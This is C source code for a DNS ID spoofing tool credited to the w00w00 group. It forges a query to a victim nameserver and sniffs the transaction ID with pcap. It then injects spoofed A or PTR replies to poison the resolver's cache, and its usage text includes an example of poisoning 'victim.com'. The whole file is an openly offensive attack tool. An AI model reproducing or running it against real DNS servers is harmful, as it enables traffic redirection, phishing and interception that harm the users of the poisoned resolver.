/* ******************************************************* */
/* w00w00 DNS ID Spoofer by Raw-Powa			   */
/* w00w00 Security Development (WSD)			   */
/* ------------------------------------------------------- */
/* Email: w00w00@janova.org or WSD@janova.org		   */
/* Sites: http://www.janova.org, ftp://ftp.janova.org/pub  */
/* ******************************************************* */

#include "WSD-spoof.c"
#include "dns.h"
#include "WSD-DNS2.c"
#include <pcap.h>
#include <net/if.h>

#define  ERROR -1
#define  DNSHDRSIZE 12
#define  VERSION "v0.6"
#define  SPOOF "127.0.0.1"       

int ETHHDRSIZE;
                     
void main(int argc, char **argv)
{
  int sraw, i, on=1, con, ID, DA_ID, type;

  struct iphdr  *ip;
  struct udphdr *udp;
  struct dnshdr *dnsrecv, *dnssend;

  struct pcap *pcap_d;
  struct pcap_pkthdr h;

  char *buf;
  char *alacon;
  char host[256];
  char ebuf[256];
  char buf1[1024];
  char namefake[256];
  char dnstrust[256];
  char *data, *data2;
  char spoofip[256], spoofname[256];

  unsigned long d_ip;                     
  unsigned long s_ipns;
	 

  srand((time(NULL) % random() * random()));


  printf("w00w00 DNS ID Spoofer - Super Raw!\n");
  printf("w00w00 Security Development (WSD)\n");
  printf("w00w00@janova.org, WSD@janova.org\n");

  if (argc < 2) {
     printf("Usage: %s <device> <ns.victim.com> <your domain> <IP of your NS> <type 1,12> <spoofname> <spoof ip> <ns trust>\n",argv[0]); 
     printf("Example: %s eth0 ns.victim.com hacker.org 123.4.5.36 12 damn.diz.ip.iz.ereet.ya mail.provnet.fr ns2.provnet.fr\n",argv[0]);
     printf(" So... we try to poison victim.com with type 12 (PTR). Now, if someone asked for the ip of mail.provnet.fr they will resolve to damn.diz.ip.iz.ereet.ya\n"); 
     
     exit(1);
  }

  if (strstr(argv[1], "ppp0")) ETHHDRSIZE = 0;
  else ETHHDRSIZE = 14;

  if (argc > 5) type = atoi(argv[5]);
  if (argc > 6) {
     if (strlen(argv[6]) > sizeof(spoofname) - 1) {
        fprintf(stderr, "argv[6] too long: %s\n", argv[6]);
        exit(ERROR);
     } else 
        strcpy(spoofname, argv[6]);
  } else {
     printf("Enter the name you want to spoof: ");
     scanf("%255s", spoofname);
  }
 
  if (argc > 7) {
     if (strlen(argv[7]) > sizeof(host) - 1) {
        fprintf(stderr, "argv[7] too long: %s\n", argv[7]);
        exit(ERROR);
     } else
        strcpy(host, argv[7]);
  } else {
     printf("Enter the IP of the name to spoof: ");
     scanf("%255s", host);
  }
                               
  alacon = (char *)inet_ntoa(host2ip(host));
  strcpy(spoofip, alacon);
                                   
  if (argc > 8) strncpy (host, argv[8], sizeof(host));
  else {
     printf("Enter the trusted dns for the spoof: ");
     scanf("%255s", host);
  }

  alacon = (char *)inet_ntoa(host2ip(host));
  strcpy(dnstrust, alacon);
   
  dnssend = (struct dnshdr *)buf1;
  data2   = (char *)(buf1+DNSHDRSIZE);

  bzero(buf1, sizeof(buf1));
    
  sraw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (sraw == ERROR) {
     perror("socket");
     exit(ERROR);
  }
  
  if ((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)))
	== ERROR) {
     perror("setsockopt");
     exit(ERROR);
  }
 
  printf("WSDspoofID.c %s w00w00 ID sniffer\n", VERSION);
  printf("w00w00 Security Development\n");
  sleep(1);
 
  pcap_d = pcap_open_live(argv[1],1024,0,100,ebuf);

  s_ipns = host2ip(argv[4]);
  d_ip   = host2ip(argv[2]);
  con    = myrand();

  /* Make the question to get the ID */

  sprintf(namefake, "%d%d%d.%s", myrand(), myrand(), myrand(), argv[3]); 

  dnssend->id = 2600;
  dnssend->qr = 0;
  dnssend->rd = 1;
  dnssend->aa = 0;
  dnssend->que_num = htons(1);
  dnssend->rep_num = htons(0);

  i = makepacketQS(data2, namefake, TYPE_A);
  udp_send(sraw, s_ipns, d_ip,2600+con, 53, buf1, DNSHDRSIZE+i);

  printf("Question sent...please wait\n");

  while(1) { 
     buf = (u_char *)pcap_next(pcap_d,&h); /* catch the packet */  
  
     ip      = (struct iphdr   *)(buf+ETHHDRSIZE);
     udp     = (struct udphdr  *)(buf+ETHHDRSIZE+IPHDRSIZE);
     dnsrecv = (struct dnshdr  *)(buf+ETHHDRSIZE+IPHDRSIZE+UDPHDRSIZE);
     data    = (char *)(buf+ETHHDRSIZE+IPHDRSIZE+UDPHDRSIZE+DNSHDRSIZE);

     if (ip->protocol == IPPROTO_UDP) {
        printf("[%s:%d ->", (char *)inet_ntoa(ip->saddr), ntohs(udp->source));
        printf("%s:%d]\n",  (char *)inet_ntoa(ip->daddr), ntohs(udp->dest));
     }

     if (ip->protocol == 17)     
        if (ip->saddr.s_addr  == d_ip)
           if (ip->daddr.s_addr == s_ipns) 
              if (udp->dest  == htons(53))
                 if (dnsrecv->qr == 0) {
                    printf("We have the packet!\n");
             
                    ID = dnsrecv->id; /* We have the id. */
             
                     printf("the current id of %s is %d \n", argv[2],
                            ntohs(ID));
             
                     DA_ID = ntohs(ID);
           
                     printf("Sending the spoof...\n");
                     dnsspoof(dnstrust, argv[2], spoofname, spoofip,
                              DA_ID,type); 
           
                     printf("Spoof sent...\n");
                    
                     exit(0);
                 }    
  }
 
} 
